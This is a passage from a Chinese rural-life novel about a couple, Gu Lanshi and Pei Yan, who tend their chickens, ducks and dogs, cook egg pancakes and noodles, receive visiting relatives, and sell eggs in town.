听见媳妇喊他,叫的还是大名,他咧嘴直笑,头一回觉得自个儿大名怎么这么好听。 * 灰灰抱着一根骨头啃,灰仔和它一样懒,都是趴在地上,两只前爪抱着骨头,啃得咔咔响。 它俩屁股对屁股,离得近,又像是害怕对方来抢,偏偏头不在一起,一个比一个心眼多。 大黑离它俩都远,独自占了两根骨头,这个啃一口,那个舔一下,俨然一副老大的模样。 顾兰时见它有根骨头沾了太多土,有点看不下去,直接从狗嘴里掏出来用水冲了冲,给它放食盆里,意思吃完一根再吃另一根,要是再扔在地上,还得沾土。 被抢了骨头,大黑没敢抢回来,不断舔着嘴巴看顾兰时,最后看见顾兰时把骨头放在它旁边的盆里后,才放心低头去啃自己身前的骨头。 剁了一盆草,顾兰时走进鸡圈,母鸡呼啦啦朝他这边跑来,他往食盆里抓了几大把碎草,又给鸭子那边倒了一些。 见最里面隔开的小鸡如今已经长大了,他想了一下,放下木盆,直接把分隔用的一排篱笆拔掉。 装草的木盆在旁边,四十多只鸡涌出来,你争我抢头往盆里去啄。 他把篱笆扔出圈外,除了鸭舍以外,五十几只鸡混在一起,这样倒食就不用分两次,以前是鸡仔太小,怕老鸡欺负,现在大了,快到下蛋的时候,就不怕鸡仔被踩死了。 隔档一取,好几个鸡窝由着晚上它们自行去睡,再不用管。 见五只公鸡长得大,抢食很有力气,挤走了几只母鸡。 顾兰时看了好一会儿,见它们比之前更霸道些,心想等裴厌回来,还是把它们和母鸡分开,刚好用拔下来的篱笆给它们围一个小圈。 那其中有两只公鸡比较凶,只怕裴厌,啄人挺疼的,之前就吃过亏,自己今天就不上手了。 他拿了铁锨进来铲粪,许是刚混到一窝,几只公鸡之间不知怎么就打起架,你啄我飞,打的羽毛都乱飞,母鸡咕咕咕直叫。 大黑和灰灰灰仔听见动静,都跑过来站在篱笆外汪汪汪吠叫,一时之间,颇有些鸡飞狗跳的意味。 顾兰时直接用铁锨把几只公鸡分开,有一只像是不服气,竟朝他啄来,他没客气,一生气抄起手里的铁锨拍过去,于是就变成他追在公鸡后面打,吓得母鸡都在乱跑。 大黑以为他受欺负了,从圈门缝隙里窜进来,一呲牙凶相毕露,喉咙里发出威胁十足的低吼,浑身肌肉像是紧绷起来,一副要咬死那只公鸡的架势。 “大黑!” 顾兰时把那只公鸡追得屁滚尿流,要是没铁锨,他早就跑出去了,不然赤手空拳自己会吃亏。 偏生手里有家伙,才不怕公鸡啄他,他其实也没真打,拍中后又收了力气,叫那只公鸡吃点教训而已,没想真打死。 “出来。”他把低吼的大黑喊出来后,关好圈门后,伸手揉了揉大黑脑袋,笑着说:“行了,别再吓它们,再过几天,让裴厌把那只杀了吃肉。” 公鸡要养的壮一点气势足一点,无论打鸣还是以后让母鸡抱窝孵蛋,都是有好处的,可这并不代表就可以啄主人。 既然这么凶,管都管不住,还不如炖了,也打打牙祭。 等晌午裴厌从镇上回来,听说了这事,当即就要去捉那只公鸡。 顾兰时笑着说道:“也没真啄到,我把它打的羽毛都掉了好些,昨儿刚吃了酒席,鸡肉鸡汤都吃过了,过段日子再杀,多养两天,说不定肉还能多点。” “也好。”裴厌点点头,吃完饭就去鸡圈忙,连同一个鸡窝,重新围了个小的篱笆圈,将五只公鸡都关了进去。 第138章 自从娶了媳妇,顾兰瑜那叫一个神清气爽,走路脚下都像是带风,做什么都有劲。 花惜霜刚来顾家,说话做事比较小心,又是话少寡言的性子,和人说话时总是腼腆笑笑,不过顾家人对她如何,她都看在眼里。 回门后她娘问了许多,最后总算放心了,女儿家嫁出去,能找个脾气好规矩又不大的婆婆实属不易。 下午,太阳没那么大了,顾兰时和裴厌在井边打水浇菜地,正忙着,苗秋莲带花惜霜进门了,她俩出来打猪草,从河边顺道过来转转。 因是生人,大黑三个很警惕,没有乱叫,但围着花惜霜闻了好一阵才走开。 知道他娘是带人认认门,顾兰时不再打水,笑着提了板凳出来让她俩坐。 花家住在杏源村,倒是和顾兰时大姑妈在一个村子,之前也曾听过裴厌的事,嫁过来之前家里还有点忧心。 不过再打听裴厌成亲之后,就再没惹过大的是非,收敛了许多,老老实实种地卖菜,日子倒也不错,才打消了那些顾虑。 要说在砍娄进之前,裴厌名声还没娄进那个欺男霸女无恶不作的恶霸大,后来娄进死了,传着传着就变成是被裴厌打死的。 花家有个亲戚曾经被娄进抢过粮,无奈那时候娄进势力大,没人敢招惹,后来娄进一死,他那些爪牙散了,他们家和亲戚都觉得痛快。 因此,花惜霜怕是怕,但对裴厌有着十足的好奇,成亲到今天还未曾见过。 她曾听人说过,裴厌相貌丑陋如恶鬼,高高大大,打起人来跟活阎王似的,不打死都不松手。 她是个姑娘,又刚成亲,脸皮薄,不好意思盯着人家看,等裴厌浇了菜过来陪坐的时候,偷偷瞄了一眼。 脸上那条长疤确实狰狞了些,可平心而论,哪像那些人说的丑恶如鬼,黑黝黝如夜叉。 不但不黑,还挺白的,鼻梁高眼睛亮,说话也和和气气,并无半点恶鬼模样,尽管匆匆一瞥,也看出要不是那道长疤,裴厌相貌竟是俊朗的。 花惜霜喝一口茶水,心中忽然明悟,原来那些传言都是假的,莫名的落差感让她心中颇感唏嘘,只是嘴笨,自己也想不出个子丑寅卯来,只得放弃。 恰好顾兰时让裴厌端了一碟杏脯来,推过来让她,她笑一下,拿了两个专心吃起来,一下子就把刚才想的东西给忘了。 坐一会儿苗秋莲就要走,顾兰时跟着起身说道:“娘,种的冬瓜和南瓜都结了,有几个大的,你拿两个回去吃。” “前天阿奶过来,给她摘了一个南瓜,说要回去蒸着吃。”他边走边说。 南瓜和冬瓜是顺着篱笆墙随手种的,藤蔓沿地面匍匐生长,结的大冬瓜和大南瓜藏在叶片底下,顾兰时和裴厌天天看,知道在哪里,走过去直接掀开叶片摘下。 冬瓜不小呢,抱起来沉甸甸的,花惜霜笑眯眯抱着,苗秋莲抱着一个南瓜,两人背了竹筐往外走。 顾兰时和裴厌送她俩出门,见人走远才回来继续浇菜。 忙完后已经过去快一个时辰,太阳从云层中出来,一入秋,威力明显不如夏天那会儿。 顾兰时躺在摇椅上歇息,裴厌提着茶壶走到外面泥炉前添热水,进来就在另一张摇椅上躺下。 夏天卖蝎子挣了几两,就找徐木头又做了一把摇椅。 一个夏天过去,卖菜也挣了点钱,足够平时买猪肉吃的,还能攒下一点。 顾兰时躺在摇椅上,转头看向裴厌,说:“等会儿摘一个南瓜,明天早上蒸着吃,甜甜糯糯的。” “好。”裴厌答应一声,长腿放在摇椅前面,整个人躺好,轻晃起椅子,十分悠闲。 顾兰时笑了下,转回头看着屋顶也晃起来,闲聊几句,听见外头鸡叫声,他笑着说道:“忘了跟你讲,早上我捡了将近二十个鸡蛋,那些小鸡也开始下蛋了。” 之前为了方便喂食,他把母鸡混在一起,如此就有点分不清到底是老鸡下的还是小鸡下的,不过今天他确定了,小鸡也开始陆续下蛋,因为老母鸡只有十六只,能捡到二十只,说明有的小母鸡已然到了下蛋的时候。 “估计再过几天,能捡到的蛋就更多了。”他说完,又伸出手指掰了掰,说:“小母鸡有四十三只,再加上老母鸡,拢共是五十四只蛋鸡。” 他放下手,兴奋极了,说道:“如果全都下蛋的话,一天就有五十个鸡蛋。” 母鸡养得好才能天天下蛋,裴厌被他说的也高兴起来,开口道:“等会儿去河边挖地龙,入秋了,蛐蛐蚂蚱藏在草里,捉些回来,都喂给它们吃。” “嗯!”顾兰时兴冲冲的,要不是提水提的胳膊有点酸累,这会儿都想直接去。 挣钱的喜悦让人忍不住畅想,不过没一会儿,他又有了别的担忧,转身看过来说道:“要真一天能摸四五十个鸡蛋,两天就得去镇上卖一次,这么多,卖得完吗?” 裴厌被他思前想后的着急模样逗笑,说:“能卖完,之前每次去镇上,虽然只有三四十个鸡蛋,回回都能卖光,镇上人和咱们不同,大户养鸡鸭不方便,只能在外头买,回头蛋多了,我去那些高门大户还有酒楼饭馆门前吆喝,肯定卖得出去。” 说得这么笃定,像颗定心丸一样,顾兰时就放心了,重新躺好,说道:“卖不完咱们自己吃,对了,之前总是煮蛋,明天晌午我摊几张蛋饼,放多点油,小火把鸡蛋摊成煎饼样,换个花样,以前听阿婆说,鸡蛋这样金贵的东西,放在大户人家,只是当菜上的点缀。” “好。”裴厌答应着,他没吃过鸡蛋摊的煎饼,想一想还挺馋的。 * 翌日清晨,早食做好了,顾兰时坐在院里吃南瓜,这个南瓜挺甜的,又软糯,他吃完又拿了一块。 裴厌一边吃一边往菜地那边走,见今天菜结的不算多,他又往回返,说道:“今天不用摘。” 顾兰时刚想说话,就见狗冲着篱笆门外叫,却是狗儿在拍门。 打开门,顾兰瑜满脸笑意,也不进来,站在门口说道:“厌哥,今儿去不去镇上?” “今天菜不多,明天再去。”裴厌把手里另一块没吃的南瓜递过去。 狗儿接过,咬了一口又说:“那你明天去的话,帮我捎一包海棠果脯,一包梅花糕。” 他说完,从怀里掏出一串钱。 “好。”裴厌答应着接过。 顾兰时走来,听见他俩的话,笑着问道:“我记得你不爱吃这些,是要送礼?” 狗儿把嘴里的南瓜咽下去,一脸笑意说:“给霜儿买的,她爱吃这些,我想着厌哥常去镇上,就过来问问。” “算你有眼力见,我这儿还有些杏脯,给她拿点儿回去。”顾兰时笑着说,昨天他就发现花惜霜爱这些零嘴,吃的时候明显很高兴,只是忙着摘冬瓜,给忘了。 “那好。”顾兰瑜疼媳妇,厚着脸皮跟进来拿杏脯,也没多要,包了一小包就揣进怀里,笑眯眯走了。 之前盖牲口棚和猪圈,都是狗儿过来帮忙,出了不少力气,裴厌都记着,一点杏脯而已,吃就吃了。 回家后,顾兰瑜把油纸包打开,花惜霜见是酸酸甜甜的杏脯,捏起一个先递过去,说道:“从哪里得的?” 顾兰瑜喜滋滋张开嘴接住,其实花惜霜并不是往他嘴里塞,手放的偏低,原是想让他伸手接着,没想到他误会了,一下子红了脸,往后退了半步。 见媳妇这般模样,顾兰瑜也知道自己误解了,但他依旧美滋滋的,脸上笑意不断,说:“兰时哥哥给的,你爱吃这个,我就没客气,拿了些回来。” 自己贪吃这件事被人看出来,花惜霜有点窘迫。 她从小就爱吃一点零嘴,小时候哥哥姐姐还笑话她胖墩,好不容易长大了,瘦了一点,却依旧比其他人胖,他哥哥说就是吃出来的,可她实在忍不住。 屋里没有别人,门窗也都关着,顾兰瑜见媳妇挠脸蛋,手腕手指都圆润,忍不住抓着手摸了一会儿,肉感果然不错,他乐得见牙不见眼,也就他媳妇这么珠圆玉润的。 花惜霜脸红如滴血,尽管成亲了,依旧有些懵懂。 顾兰瑜并未有出格的举动,只是不停稀罕她手指和胳膊,她低着头一言不发,亲昵又亲近的举动让她也露出一点浅笑。 * 一张张金黄的蛋饼放在盘子上,不算太大,刚好能覆盖住菜盘。 顾兰时其实是随便做的,他自己也不知道好不好吃,饭菜端上桌以后,先夹了一张蛋饼。 蛋饼较薄,用筷子夹软塌塌的,他干脆用手拿着,咬一口咽下去,自己先笑了,说:“就是鸡蛋味儿,也没别的。” 裴厌却吃的很香,两三口一张蛋饼,又伸手拿另一张。 顾兰时笑道:“要不试着用蛋饼卷菜吃?” “好。”裴厌按他说的,把饼子摊开夹了几筷子菜卷起来。 “好吃。”他咬一口,还没嚼呢,就含糊不清夸了一句。 顾兰时笑了下,也把蛋饼当煎饼卷起菜。他吃鸡蛋有点腻了,不是特别喜欢蛋饼,但见裴厌吃得香,就把盘子放了过去,还有好几张呢。 吃完饭后,两人放下筷子没有立即起身,他好奇问道:“你爱吃这个?” 裴厌在用手帕擦嘴,闻言点头道:“嗯,挺香的。” 顾兰时越发好奇,问道:“你吃着是什么味儿?我怎么觉得就是鸡蛋而已,没尝出别的来。” 裴厌想了一下,说:“和炒鸡蛋不一样,薄薄的,也没蛋腥味,就是,不一样。” 知道压根儿就没说明白,话音一落,他自己都笑了下。 个人口味不一样,或许尝出来的味道也不一样,顾兰时收拾碗筷,笑着说:“既然觉得香,明天我摊几张,再吃一回,以后想吃了就说,咱们鸡蛋多呢。” “好。”裴厌郑重点头,他确实喜欢这个蛋饼,以前可没人换着花样给他做饭做菜吃。 顾兰时端起碗筷往灶房走,见他跟上来,笑道:“我想起来,以前在舅舅家吃过一次面,鸡蛋就是把蛋饼切成丝,放一撮在最上面当点缀,配着炒好的韭菜,一个黄的一个绿的,花哨了些,其实也没啥别的味儿,但吃一回还挺高兴,明儿我多摊几张,晚饭下白面条吃,也切一些蛋饼丝。” 裴厌一听,立马点头道:“行。” 他没吃过,因此有点好奇,问道:“是拌面?” 顾兰时把碗筷放在灶房门口的木盆里,直起腰说:“不是,是汤面,蛋饼丝泡了热汤水,也好吃呢。” 他这么一说,裴厌越发期待明天。 第139章 太阳渐渐爬上头顶,眼瞅着到午时了,晴空万里无云,湛蓝湛蓝的。 听见篱笆门外的动静,正在摇辘轳打水的顾兰时转头看一眼,门从外面推开,正是裴厌回来了。 他笑着高声说道:“今儿这么早?” 裴厌牵着毛驴往进走,后面拉的板车车轮骨辘辘碾过石子路,来到石子路旁边的平坦土路上。 今早摘了些南瓜和冬瓜,不好塞进筐子篮子里,没有卖完,一眼就能看到车上还有几个瓜。 “我看快晌午了,今儿生意不怎么样,干脆就往回赶。”裴厌边走边说。 顾兰时提了一桶水先进院子,倒了水出来,问道:“饿不饿?饿的话我先做饭,刚才没事,鸡蛋饼摊好了都,在锅里捂着,晌午先吃蛋饼,下午再吃面。” “好。”裴厌答应着,毛驴停下后他开始解车套。 顾兰时给他舀好洗手水,自己在里面洗了两把手,随后挽起袖子往灶房走,菜他都切好了,米汤已经熬好了,馒头也是热的,根本不费事。 栓了毛驴回到前面,听见灶房刺啦一声响,菜下锅了。 裴厌看见谷场上铺了两个席子,是他俩之前编了用来晒各种菜干子的,眼下席子上铺满了地龙干,另一张是今天刚挖的野菜,没有地龙干这么多,零零散散铺在上头,已经蔫了。 他上前翻动了一下地龙干,见都干透了,没有返潮的迹象,这才放心。 和药用的地龙干不同,他俩挖了一夏天地龙和泥鳅,打鱼也比去年频繁,弄了不少干子,为的是冬天好喂鸡。 因此晒这些不过是晒干晒透了而已,没用药铺里那些讲究的法子。 泥鳅和鱼倒是剖开了肚子,里头是干净的,晒干以后不用太担心。 地龙细长,剖肚子掏东西实在是麻烦,就只洗净了地龙身上黏糊糊的液体,随后在夏天最热的时候暴晒,晒出来的地龙干倒也还行,干透了,一直没什么臭味儿。 这不入秋了,怕地龙干受潮变臭,留不了太久,顾兰时今天又倒出来晒晒。 板车放在院里暂时没动,用野澡珠仔细洗干净手,裴厌进灶房,见案台上扣了个大碗,他拿开大碗一看,底下是一碟蛋饼,还温热着,顺手就拿了一张吃。 “把地龙倒出来晒了?”他问道。 顾兰时翻动锅里的冬瓜片,闻言说道:“是,两口袋我都倒出来了,前几天不是下雨,总担心会不会受潮,头一年弄这个,万一臭了,不知道杂屋里会不会都是味儿。” 炒冬瓜得闷一闷,不然不好熟,他盖上锅盖,举着木铲问道:“谷场那边我用席子晒了野菜,柴堆和木架上是之前的菌子干还有黑木耳,弄出去也忘了翻翻,这些干货还是多晒晒为好。” “等会儿我去翻。”裴厌把最后一点蛋饼吃掉,显然很喜欢这个。 顾兰时笑着说:“今天忘了,只顾着这些,菜好还要等一下,趁这会儿太阳大,你把被子抱出来晒晒,去年做的那双兔皮毛手套,我找出来了,原说洗洗,晒干再收起来,放炕沿给忘了,你顺道拿出来,放在盆里,吃完饭我看见就记得洗了。” “好。”裴厌没忍住又拿一张蛋饼。 他吃完就要走,被顾兰时喊住洗洗手,摊蛋饼子要用到油,怕粘锅用的油还不少呢,不洗就弄到被子上了。 本想说自己没这么邋遢,肯定会洗手,但最后裴厌只是笑着答应一声。 吃完饭后,两人把板车上的筐子卸下来,顾兰时问道:“明天还去镇上?” 裴厌看着车上的南瓜和冬瓜,长得大,一个个都挺沉的,搬来搬去不方便,点头道:“去,这些就不动了,先放上面。” 话说完,两人不约而同抬头看一眼天色,太阳正当空,没有任何下雨的迹象,就都放心了。 顾兰时看一眼几个筐子里的菜,辣子和茄子都有剩的,还不少,刚上来的一茬秋萝卜早上挖了半筐,倒是卖光了,一篮秋扁豆剩了一小把有损的,带去的一辫子大蒜也卖光了。 裴厌把板车放在柴房屋檐下,从怀里掏出荷包,这是今天卖菜的钱,四五十文左右,如数交了上去。 顾兰时接过荷包,和以前不一样,他没问多少,等会儿放的时候一数就知道了,只笑着揣进怀里,说:“把扁豆拿去剁碎了喂鸡鸭,茄子我看剩了些,拾掇了晒成干,留着冬天咱们吃。” 辣子晒一晒就成干的红辣子,倒是不用太费心,他拎起茄子筐往灶房走,裴厌依言去剁扁豆。 刚出院门就看见灰灰鬼鬼祟祟往山壁那边走,裴厌心中疑惑,直接跟了上去。 也许是太过心虚,灰灰耳朵向后折,眼睛也眯起来,一副蹑手蹑脚的模样,转头看见裴厌跟上来,它往前迈的一只爪子停在半空,似乎是有些不知所措。 裴厌看着它,根本没有后退的意思,它贼头贼脑瞅一眼西边菜地里的大黑和灰仔,见它俩没注意到,这才把前爪落在地上,照旧悄摸摸往山壁一处凹陷那里走。 沿着山壁栽了些山上挖的香椿树苗还有桑树苗和几棵核桃树苗,之前有枯死的,已经拔了,剩下这些他俩也不强求,能活就活,活不了明年春天再挖些来种,总有几株成活的。 灰灰跑到一棵桑树苗后面,在山壁底下不断刨土,裴厌在不远处看一眼,原来是之前埋在那里的骨头,这会儿想起来吃了。 这狗东西,心眼倒是多,还知道防着其他两只。裴厌没忍住笑了下,随后转身离开。 原本以为灰灰憋着什么坏心思,之前有过两三回,不是想刨坑就是想糟蹋树苗和菜苗,今天原来是找骨头。 狗崽长起来还是挺快的,已经不像小时候那么肥,腿长了个头高了,汪汪乱叫的声音也不再稚嫩,有了几分大狗的模样。 最近家里鸡蛋多,顾兰时偶尔会喂它们吃鸡蛋,有时鸡蛋不小心滚落在地磕破了壳,他也会拾起来给狗吃,三只最近伙食都不错,毛发瞧着也顺了亮了些。 喂了鸡之后,裴厌进院子同顾兰时说了这件事。 顾兰时笑道:“也难为它记得埋在哪里,之前灰仔不是嗷嗷叫着,到处乱刨坑,最后也没找着它骨头在哪儿。” 当时以为灰仔玩疯了,它在菜地里刨的泥土乱飞,动静挺大,裴厌过去给了它一巴掌才消停。 狗养的好,连皮毛都厚实,根本没打痛,但家里的狗都跟着大黑学会了看眼色,灰仔只得放弃在菜地里找。 他俩还是后来看见大黑和灰灰从土里刨出骨头,才明白灰仔那天究竟在刨什么。 忙完家里的活,裴厌和顾兰时又往地里走。 水田里的稻谷已经抽穗了,旱田里轮种的柴豆花败了,能看见小小的豆荚长出来,再过二十几天就能拔豆杆,不知道后头天气如何,雨水太多的话,容易下坏作物。 初秋草木还未凋零,也正是瓜果丰收的时候,枣子、石榴、柿子等渐渐转红,挂在枝头分外引人注意,连野地和山上的野果子也有不少熟了。 一个下午,顾兰时和裴厌打了两趟草,回家在院子晾晒,到深秋时就没这么多草能打了,今年养的猪多,要提早囤好草料。 在河边割了些水茅草,裴厌背着,顾兰时拿了镰刀,边走边说:“这趟回去就不出来了,再有半个时辰,太阳就要落山了。” 每天都这么忙,他俩都已经习惯了。 “嗯。”裴厌应一声,率先看见前面林子里有两个人影,近了才发现是狗儿和花惜霜。 “兰时哥哥,厌哥哥。”花惜霜渐渐同顾家人熟悉,不再像之前,腼腆的都不敢多说两句话。 狗儿笑着把篮子递过来,说:“晌午我俩上山,找了点野果子,运气好,野柿子捡着红的摘了一些,还挖到了地泡儿,山莓和枸杞子也都有,里头都有,少是少,打打牙祭够了。” 顾兰时接过竹篮,看一眼红的紫的各种野果子,竟然还有一小串野葡萄,这东西可稀罕,抬头笑问道:“葡萄你们怎么没吃?” 今年开春,裴厌在镇上人家买了葡萄秧子,还给家里分了两株,都成活了,不过还没到结果子的时候。 狗儿说道:“家里有呢,留了些,天色不早了,我俩先回去,娘做了饭,刚出门时就喊不要耽搁。” “行。”顾兰时点点头,几人各自分开。 狗儿一路都在和媳妇说笑,肉眼可见的高兴,他在后面也看见听见了,笑道:“没出息的,说个话手和胳膊都不老实,指天画地瞎比划,生怕霜儿没留意到他。” 家门口就在前面,裴厌先过去开门了,他落在后面两步,说道:“该做饭了。” 出门前面都和好了,裴厌知道,一听这话,忍不住咽了咽口水,昨天就说好要吃面,晌午吃饭的时候,鸡蛋饼他没有吃完,特意留了几张,好切蛋饼丝。 一进门,顾兰时很麻利,别的都没管,洗过手进灶房就擀面。 裴厌万分期待今天的面条,帮忙烧水打下手,很快灶房上空炊烟飘起,被风吹向远处。 热腾腾的白细面条出锅,家里鸡蛋多,顾兰时和面的时候给面里磕了两个鸡蛋,他夹一筷子面条,呼噜噜吃进嘴里,面条劲道又爽滑。 面上放了鸡蛋饼切的丝,还有春菜叶子切的绿丝,再加上一撮韭菜碎,舀两勺辣油,红彤彤的,飘在面汤上,其实是为个好看,吃起来并不辣。 裴厌先吃最上面的蛋饼丝,果然,薄薄的饼丝吸了汤汁,鸡蛋味又浓郁,热乎乎又香。 他俩吃饭都是大碗,对顾兰时来说,这么一大碗,有面有菜还有面汤,吃个底朝天就饱了。 放下筷子后,他坐在对面看裴厌吃,今天没做别的菜,只有面吃,于是笑着问道:“酸水芹还有,要不要给你捞半碗?” 裴厌端着碗,除了鸡蛋饼丝以外,面条也深得他意,正吃得过瘾,闻言咽下口中的食物后说:“不用,我再去舀一碗面。” “有呢,下的多。”顾兰时笑眯眯的,自己吃饱了,但看裴厌吃得这么香,心里也高兴。 面条下出来后过不了夜,很容易坨,因此他是按着两人平时的饭量来,他吃一碗,裴厌吃两碗,差不多就饱了,不想今天裴厌吃了两碗后,把锅里剩下的一点面汤都舀出来吃。 见他喜欢,即便只有半碗面汤,顾兰时还是给切了蛋饼丝,抓一把春菜丝和韭菜碎给他调好,裴厌站在灶房就把这一碗吃完喝完了。 第140章 秋时连阴雨多,夜里就起了风,阴云遮蔽,连星星都看不到,早上起来后,天阴沉沉的,冷风夹杂着一股土腥味道扑面而来,分明快下雨了。 顾兰时和裴厌把院里该收的东西都收起来,连狗食盆和水碗都搁到屋檐底下。 没有太阳,天色不如平时亮堂,顾兰时端起一盆烫好的谷糠往外面走,一出来就看见菜地,他张望着看了几眼,没发现有太大的瓜菜,说:“昨天卖了一茬,赶得及时,不怕下雨下坏了好菜。” 裴厌拎了粪锨出来,想着去鸡圈鸭舍铲粪拾掇,闻言说道:“我刚起来时看过了,辣子茄子都没有大的,丝瓜和扁豆倒是有几根,等会儿摘了。” 顾兰时只在附近看一眼,他起得迟,既然裴厌说没有几个长成的菜,就没再往前,转身朝鸡圈那边走。 要喂五十几只母鸡,这一盆谷糠沉甸甸的,裴厌先进了鸡圈,他跟在后面,一进来五十几只母鸡跑得很快,朝他围拢过来。 他把鸡食倒进木槽里,母鸡吃得很欢,还有从鸡窝里钻出来迟的,扑扇着翅膀跃到其他母鸡身上头上,硬生生把脑袋挤进去。 见状,顾兰时朝后面退两步,省得母鸡不断挤他腿脚,盆底还有点没倒干净的鸡食,几个木槽都找不到空隙,全被母鸡围了,他只好把木盘倒扣,拍了拍盆底让鸡食落在地上,随即就有母鸡来啄。 裴厌在铲鸡粪,见地上有几枚鸡蛋,拾起来放在鸡窝棚顶上,棚顶上的稻草用石块压着,他把鸡蛋放在石块后面,防止滚落,跟顾兰时说一声,自己又拿起粪锨干活。 “好,我喂了鸭子就来拾。”顾兰时答应一声,拎着空木盆往出走,母鸡多,吃得自然就多,有时分不到鸭子,这时候他就给鸭子和公鸡从煮好的猪食桶里舀出来两三瓢,足够它们吃了。 牲口家禽都喂过后,他提了蛋篮子过来拾蛋,鸭蛋有六枚,都下了,鸡蛋找了一圈,捡到二十几枚,这会儿较早,有的母鸡还没下蛋。 养了五十四只母鸡,不是每只母鸡每天都会下蛋,好的话一天捡四十多个鸡蛋就已经很不错了。 裴厌把鸡圈鸭舍收拾一遍,顺便把窝里铺的稻草换成了干净的,要下雨了,不能让窝里太潮太脏。 放好蛋后,顾兰时从院里挖了三棵大春菜,抖抖根系上的泥土,双手抱着又往鸡圈那边走。 掰掉最外面两片发黄蔫了的叶子,他蹲在鸡圈外面的木板前剁菜,新鲜春菜汁水足,剁碎的声音听起来就脆生。 想让鸡下蛋,可不得给吃好点,外面的野草哪有家里种的菜好。 圈里除了鸡窝有顶以外,为雨天母鸡吃食,他俩夏天的时候又用木板和稻草搭了一片遮雨的矮棚子。 棚子地势较高,一旦下雨,他会把剁好的菜叶和碎草倒在棚子底下。 天色越阴,裴厌拿扫帚赶走围在木槽旁吃食的母鸡,呵斥道:“去!” 赶走不少母鸡后,顾兰时和他一起把木槽抬进棚子里,不然等会儿下雨,烫好的食沾了雨水,万一把鸡吃出个好歹,就不划算。 他俩在这边忙,忽然听见狗叫,抬头看去,大黑三个在菜地里追老鼠,一个比一个跑得快,甚至跑过的时候有泥土溅起。 “这么大!”顾兰时看见那只老鼠的个头后惊呼一声。 两人都顾不上抬别的木槽,站在那里目不转睛地看,生怕老鼠没抓到。 大黑抓老鼠经验足,一马当先冲在前面,灰灰和灰仔追上后,从三个方向夹击,将老鼠堵在篱笆墙那边。 老鼠想顺着篱笆墙爬上去逃窜,但动作没有大黑迅速,被一口咬住,吱吱吱发出惊叫,却被大黑嘎巴一声咬断了脖颈,身体软塌塌再没了气息。 灰灰和灰仔冲着老鼠尸体汪汪大叫,灰灰还试图上前叼住,大黑咬着老鼠没松嘴,从喉咙里不断发出低吼。 灰灰和它僵持一会儿,最后败下阵来。 三只狗大黑明显是老大,它俩之前不是没和大黑打过架,不但体型被压制了,连凶狠都比不上大黑。 见大黑昂首挺胸叼着老鼠往他俩这边走来,顾兰时和裴厌把木槽全都抬进棚子里,母鸡追着食跑,大多都钻了进去。 关好鸡圈门,大黑在几步之外,看见他俩出来后,才把老鼠尸体放在地上,自己蹲坐在后面,一副邀功讨赏的模样。 顾兰时过去揉揉大黑脑袋,低头一细看,说道:“真是个大老鼠,你看尾巴,都有筷子那么长了,得亏抓住了,不然还不知道要偷吃多少菜和粮。” 粪锨靠在院墙外,裴厌顺手拿起,走过来将大老鼠铲走,边走边说:“确实大,晌午给它们煮个蛋。” “好。”顾兰时答应道,母鸡下的蛋有大有小,小的拿出去卖别人要挑三拣四,不如给狗吃了。 裴厌出门走得较远,用粪锨挖个坑把大老鼠埋了,这东西腌臜,在土里慢慢腐烂总比忽然踩到要好。 雨点落了下来,风一吹有点冷,顾兰时回屋加了件衣裳。 三只狗跑进堂屋避雨,裴厌洗了手进来,两人没事干,躺在摇椅上说闲话,从夏天忙到入秋,只有下雨的时候才能歇歇。 雨水顺着瓦片流下,从滴答小雨渐渐连成雨帘,哗啦啦落在地上。 阴雨天本就容易困乏,摇椅摇着摇着顾兰时就有点迷迷瞪瞪。 冷风从门外吹进来,裴厌也觉得困了,搓一把脸转头看过去,笑着喊醒人,让回屋睡炕上,盖好被子,不然要着凉。 * “鸡蛋——” 太阳挂在天上,明晃晃的,已经没有夏天时的威力,秋高气爽,正是冷热相宜的舒服时节。 顾兰时背着蛋筐沿街吆喝,裴厌同样背了一个筐子,手里还提了一个蛋篮,篮子里垫了厚厚的稻草,圆滚滚的鸡蛋放在上面。 他俩赶驴车来的,拴在镇外陈三儿那里。 今天来镇上只带了鸡蛋鸭蛋,即便在镇上,街道也有凹凸颠簸,今天带的鸡蛋多,足足两百多枚,背着提着,走慢点好过在板车上晃荡。 正值蛋期,下过雨后,他俩等地面晒了三天才过来,再加上之前的,鸡蛋攒了不少,家里还有七八十个鸡蛋。 怕带的太多卖不完,再一路颠回去,鸡蛋容易碰破。 “鸡子多钱?”一个年轻妇人停下问道。 顾兰时笑着开口:“阿姊,一个三文,市价。” 那人想上前来看,篮子里的鸡蛋一眼就能看到,妇人见裴厌个头这么高,脸上又有疤,神色有点犹豫。 顾兰时使个眼色,裴厌意会,把蛋篮子轻轻放在地上,笑着说:“阿姊尽管挑拣。” 他和气开口,不是那种冷面凶蛮的汉子,妇人略略放心,于是蹲在地上挑了一些,一个一个往自己菜篮子里放。 顾兰时蹲在她对面,一边帮忙挑,一边在心里默数她挑了几个。 “行了,十二个足够了。”妇人从衣袖里掏出荷包,数了三十六个铜板递过来。 顾兰时接过,笑道:“正好,多谢。” 给钱痛快也不嘟嘟囔囔嫌弃,当然让人高兴。 裴厌又拎起竹篮,他俩今天来得有点晚,路上卖菜的人不多,他看一眼前面街道,说:“过了街口,往左拐,有个巷子,那里住的人多是小富之家,去那边吆喝,再不行,往前还有酒楼饭庄,过去都问问。” “好。”顾兰时将肩绳紧了紧,跟在裴厌后面往前去,因背的鸡蛋,两人走得都比较慢,一边走一边吆喝两声,又零散着卖了十几个蛋。 到青鱼巷子口后,迎面正碰上个匆匆忙忙的老妇。 老妇眼尖,看见篮子里的鸡蛋后急忙叫他俩:“卖鸡蛋的?” 顾兰时点着头说:“是,婆婆要买鸡蛋?” “嗐,这不赶巧了,赶紧给我挑几个好的,我家小姐正闹着要吃蛋羹,偏生今儿早上忘了买,得了一顿数落……” 老妇蹲下后挑大的往自己篮里放,一边捡一边絮叨:“这事儿哪能怪我,厨子自个儿没仔细清点,以为还有蛋,我一大早跑去买菜,出了力还没落好,真是倒霉催的。” 人家家里的事,外人不好掺和乱说话,顾兰时没言语。 老妇见篮子里鸡蛋并不多,挑拣完问道:“筐子里也是鸡蛋?” “是,婆婆还要?”顾兰时说着,小心把竹筐放在地上。 老妇扒拉开竹筐最上面的一层稻草,说道:“要呢要呢,这些哪里够,我们家那些小姐公子,不吃鸡蛋时还好,要想吃鸡蛋了,多少个都不够。” 她尽捡着大的拿,顾兰时和裴厌没有阻止,一样的钱,谁不想拿好的。 “三十个,够了够了,我这篮子也装不了太多。”老妇说着,回头看一眼自己主家,思索一下说道:“这样,你俩跟我去后门,在门口等着,我把这些放下,再挑二十个,这回买的多,我看谁还能挑刺。” 